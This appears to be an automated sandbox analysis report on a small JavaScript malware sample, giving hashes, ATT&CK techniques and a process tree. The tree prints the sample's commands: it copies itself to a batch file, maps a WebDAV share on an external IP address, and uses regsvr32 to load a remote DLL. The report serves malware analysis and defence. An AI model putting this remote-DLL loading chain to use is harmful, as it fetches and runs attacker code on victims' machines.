972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6

Analysis

max time kernel
16s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 18:17

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General

Target

972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js
Size

5KB
MD5

bed7f99d0b1975e0bae9437d0b87ad59
SHA1

7ea4aa2674c827c745b656904a9237d7fb5b41de
SHA256

972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6
SHA512

c08b4176656cea36bc5928c16c3b3a5e11651f846b173d7d2154cadac57f9cbe248b727b93c786b098b4ff414c120c7f4e88ce414a0f3cbb4f20426f256a15e4
SSDEEP

96:JgjipT9s8OED7vlUQSVw/tBwOVYe/bCzd9/HqJTTGJ2sy9TlAxrIYc033TdKrsId:ajGRpWyJLFWqVaEqBPqVVVPI94SSSBfm

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1304	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2832	2112	wscript.exe	29
PID 2112 wrote to memory of 2832	2112	wscript.exe	29
PID 2112 wrote to memory of 2832	2112	wscript.exe	29
PID 2832 wrote to memory of 2716	2832	cmd.exe	31
PID 2832 wrote to memory of 2716	2832	cmd.exe	31
PID 2832 wrote to memory of 2716	2832	cmd.exe	31
PID 2832 wrote to memory of 1304	2832	cmd.exe	32
PID 2832 wrote to memory of 1304	2832	cmd.exe	32
PID 2832 wrote to memory of 1304	2832	cmd.exe	32
PID 2832 wrote to memory of 1304	2832	cmd.exe	32
PID 2832 wrote to memory of 1304	2832	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6.js" "C:\Users\Admin\\sanuqb.bat" && "C:\Users\Admin\\sanuqb.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2716
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\635.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\sanuqb.bat

Filesize
5KB

MD5
bed7f99d0b1975e0bae9437d0b87ad59

SHA1
7ea4aa2674c827c745b656904a9237d7fb5b41de

SHA256
972ace08f45f2ec4feb3ac474f4942e28f663c053319aef7f08bd27f7d4810f6

SHA512
c08b4176656cea36bc5928c16c3b3a5e11651f846b173d7d2154cadac57f9cbe248b727b93c786b098b4ff414c120c7f4e88ce414a0f3cbb4f20426f256a15e4

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